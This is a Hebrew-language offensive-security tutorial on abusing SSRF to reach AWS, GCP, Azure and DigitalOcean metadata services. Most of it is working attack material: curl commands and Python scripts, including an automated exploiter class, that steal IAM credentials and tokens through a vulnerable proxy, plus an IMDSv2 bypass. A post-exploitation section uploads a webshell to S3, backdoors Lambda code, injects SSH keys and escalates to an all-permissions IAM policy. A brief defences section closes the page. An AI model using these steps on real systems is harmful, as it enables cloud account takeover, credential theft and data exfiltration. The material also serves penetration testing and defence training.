תקיפת ענן דרך SSRF - Cloud Exploitation via SSRF¶
מבוא¶
אחד היעדים המשמעותיים ביותר של SSRF בסביבות ענן הוא שירות ה-Metadata. כל ספק ענן מספק שירות פנימי שדרכו מכונות וירטואליות יכולות לגשת למידע על עצמן - כולל הרשאות גישה. תוקף שמצליח לבצע SSRF יכול לגנוב את ההרשאות ולהשתלט על משאבי הענן.
שירות Metadata של AWS - IMDSv1¶
כתובת הבסיס¶
שירות ה-Metadata של AWS זמין בכתובת קבועה שאינה ניתנת לשינוי:
מידע זמין¶
# Basic information about the machine
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/instance-type
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
# Network information
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/meta-data/placement/region
# user-data - scripts that run at startup (sometimes contain secrets)
http://169.254.169.254/latest/user-data
הextraction הרשאות IAM¶
זו המטרה העיקרית - גניבת הרשאות הגישה לענן:
# Step 1: find the Role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response: MyEC2Role
# Step 2: extract the credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
תשובה לדוגמה:
{
"Code": "Success",
"LastUpdated": "2024-01-15T12:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA1234567890EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEBYaDH...(long session token)...",
"Expiration": "2024-01-15T18:00:00Z"
}
דוגמה מלאה לexploit SSRF לגניבת הרשאות¶
import requests
# Step 1: exploit SSRF to read the Role
target = "https://vulnerable-app.com/proxy"
ssrf_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(target, params={"url": ssrf_url})
role_name = response.text.strip()
print(f"[+] Found role: {role_name}")
# Step 2: extract the credentials
creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(target, params={"url": creds_url})
creds = response.json()
print(f"[+] Access Key: {creds['AccessKeyId']}")
print(f"[+] Secret Key: {creds['SecretAccessKey']}")
print(f"[+] Token: {creds['Token']}")
IMDSv2 - הגרסה המאובטחת¶
כיצד IMDSv2 עובד¶
ב-IMDSv2, צריך קודם לבצע בקשת PUT כדי לקבל טוקן, ואז להשתמש בטוקן בכל בקשה:
# Step 1: get a token (PUT request with a special header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Step 2: use the token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
מדוע IMDSv2 מגן מפני SSRF¶
- דורש בקשת PUT - רוב חולשות SSRF תומכות רק ב-GET
- דורש Header מותאם - קשה להעביר Headers דרך SSRF רגיל
- טוקן עם TTL - מוגבל בזמן
- חוסם בקשות עם
X-Forwarded-For- מונע exploit דרך פרוקסי
תרחישים שבהם IMDSv2 ניתן לbypass¶
# If the SSRF has full control over the request (method + headers)
import requests
# Step 1: PUT request via the SSRF
token_response = requests.post(
"https://vulnerable-app.com/proxy",
json={
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
)
token = token_response.text
# Step 2: use the token
creds_response = requests.post(
"https://vulnerable-app.com/proxy",
json={
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET",
"headers": {"X-aws-ec2-metadata-token": token}
}
)
שירות Metadata של GCP¶
כתובת הבסיס¶
דרישת Header¶
כל בקשה ל-Metadata חייבת לכלול:
הextraction מידע¶
# Information about the machine
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/zone
# Extract a Service Account token
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Project-level information
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/attributes/
# Project-level SSH keys
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
דוגמת תשובה של טוקן¶
הbypass דרישת ה-Header¶
ב-GCP, ה-Header נדרש, מה שמקשה על SSRF רגיל. אבל:
# If the SSRF supports redirect, you can use a redirect that adds the Header
# In old Google Cloud Functions (Gen 1), access without a Header was possible:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
# v1beta1 did not require the Header (disabled in most environments)
שירות Metadata של Azure¶
כתובת הבסיס¶
דרישת Header¶
הextraction מידע¶
# Information about the machine
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Extract a Managed Identity token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Extract a Storage token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/"
דוגמת תשובה¶
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"client_id": "12345678-1234-1234-1234-123456789012",
"expires_in": "3600",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
שירות Metadata של DigitalOcean¶
# Base address (no Header required!)
curl http://169.254.169.254/metadata/v1/
# Basic information
curl http://169.254.169.254/metadata/v1/hostname
curl http://169.254.169.254/metadata/v1/region
curl http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address
# user-data
curl http://169.254.169.254/metadata/v1/user-data
ב-DigitalOcean אין צורך ב-Header מיוחד, מה שהופך אותו לפגיע במיוחד ל-SSRF.
הexploit הרשאות גנובות - Post-Exploitation¶
שימוש בהרשאות AWS גנובות¶
# Set the stolen credentials
export AWS_ACCESS_KEY_ID="ASIA1234567890EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDH..."
# Identity check
aws sts get-caller-identity
# Example response:
# {
# "UserId": "AROA1234567890:i-0abc123def456",
# "Account": "123456789012",
# "Arn": "arn:aws:sts::123456789012:assumed-role/MyEC2Role/i-0abc123def456"
# }
גישה ל-S3¶
# List all Buckets
aws s3 ls
# List files in a Bucket
aws s3 ls s3://company-backups/
# Download files
aws s3 cp s3://company-backups/database-dump.sql ./
# Upload a webshell (if write permissions exist)
aws s3 cp webshell.php s3://company-website/webshell.php
מניפולציה של Lambda Functions¶
# List functions
aws lambda list-functions
# Read a function's code (including environment variables with secrets)
aws lambda get-function --function-name my-function
aws lambda get-function-configuration --function-name my-function
# Update a function's code (backdoor)
aws lambda update-function-code \
--function-name my-function \
--zip-file fileb://malicious-code.zip
שליטה ב-EC2¶
# List machines
aws ec2 describe-instances
# Create a disk snapshot (for data extraction)
aws ec2 create-snapshot --volume-id vol-0abc123def456
# Add an SSH key to the machine
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-0abc123def456 \
--instance-os-user ec2-user \
--ssh-public-key file://my-key.pub
הסלמת הרשאות דרך IAM¶
# Check the current permissions
aws iam list-attached-role-policies --role-name MyEC2Role
aws iam get-role-policy --role-name MyEC2Role --policy-name MyPolicy
# If there is iam:PassRole + lambda:CreateFunction permission
# You can create a Lambda with a stronger Role
aws lambda create-function \
--function-name escalation \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://code.zip
# If there is iam:CreatePolicyVersion permission
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
תצורות שגויות של S3¶
בדיקת גישה ל-Bucket¶
# Anonymous access check
aws s3 ls s3://target-bucket --no-sign-request
# Access check with authenticated credentials
aws s3 ls s3://target-bucket
# Write permission check
echo "test" > test.txt
aws s3 cp test.txt s3://target-bucket/test.txt --no-sign-request
כלים לסריקת Buckets¶
# Use AWS CLI to check ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request
# Check the Bucket Policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request
זרימת תקיפה מלאה - SSRF לענן¶
SSRF in the application
|
v
Access to 169.254.169.254
|
v
Extract the IAM Role name
|
v
Extract Access Key + Secret Key + Token
|
v
Use the credentials from the local machine
|
+---> Access to S3 Buckets
|
+---> Read Lambda Functions (secrets in environment variables)
|
+---> Control of EC2 Instances
|
+---> Privilege escalation via IAM
|
v
Full takeover of the cloud account
סקריפט אוטומטי לexploit¶
import requests
import json
import subprocess
class AWSMetadataExploiter:
def __init__(self, ssrf_url, param_name="url"):
self.ssrf_url = ssrf_url
self.param_name = param_name
self.metadata_base = "http://169.254.169.254/latest"
def fetch_via_ssrf(self, internal_url):
response = requests.get(
self.ssrf_url,
params={self.param_name: internal_url}
)
return response.text
def get_role_name(self):
url = f"{self.metadata_base}/meta-data/iam/security-credentials/"
role = self.fetch_via_ssrf(url).strip()
print(f"[+] IAM Role: {role}")
return role
def get_credentials(self, role_name):
url = f"{self.metadata_base}/meta-data/iam/security-credentials/{role_name}"
creds_text = self.fetch_via_ssrf(url)
creds = json.loads(creds_text)
print(f"[+] Access Key: {creds['AccessKeyId']}")
print(f"[+] Secret Key: {creds['SecretAccessKey'][:10]}...")
print(f"[+] Expiration: {creds['Expiration']}")
return creds
def get_user_data(self):
url = f"{self.metadata_base}/user-data"
data = self.fetch_via_ssrf(url)
print(f"[+] User Data:\n{data}")
return data
def exploit(self):
print("[*] Starting AWS metadata exploitation...")
role = self.get_role_name()
creds = self.get_credentials(role)
self.get_user_data()
print("\n[*] Export commands:")
print(f"export AWS_ACCESS_KEY_ID='{creds['AccessKeyId']}'")
print(f"export AWS_SECRET_ACCESS_KEY='{creds['SecretAccessKey']}'")
print(f"export AWS_SESSION_TOKEN='{creds['Token']}'")
return creds
# Usage:
# exploiter = AWSMetadataExploiter("https://vulnerable-app.com/proxy")
# exploiter.exploit()
הגנות¶
IMDSv2 ב-AWS¶
# Enable IMDSv2 only (block IMDSv1)
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123def456 \
--http-tokens required \
--http-endpoint enabled
הגבלת רשת¶
# Block access to metadata from containers
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# In Kubernetes - use NetworkPolicy
הרשאות מינימליות - Least Privilege¶
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::my-specific-bucket/*"
}
]
}
ניטור¶
# Enable CloudTrail to monitor credential usage
# Detect credential usage from an unusual IP
# Configure alerts on sensitive actions
סיכום¶
| ספק ענן | כתובת Metadata | דרישת Header | רמת סיכון |
|---|---|---|---|
| AWS IMDSv1 | 169.254.169.254 | ללא | קריטי |
| AWS IMDSv2 | 169.254.169.254 | טוקן מ-PUT | בינוני |
| GCP | metadata.google.internal | Metadata-Flavor: Google | גבוה |
| Azure | 169.254.169.254 | Metadata: true | גבוה |
| DigitalOcean | 169.254.169.254 | ללא | קריטי |
הנקודה המרכזית: SSRF בסביבת ענן הוא לא רק קריאת קבצים פנימיים - זו דרך להשתלטות מלאה על תשתית הענן. הפעלת IMDSv2 והגדרת הרשאות מינימליות הן הגנות חובה.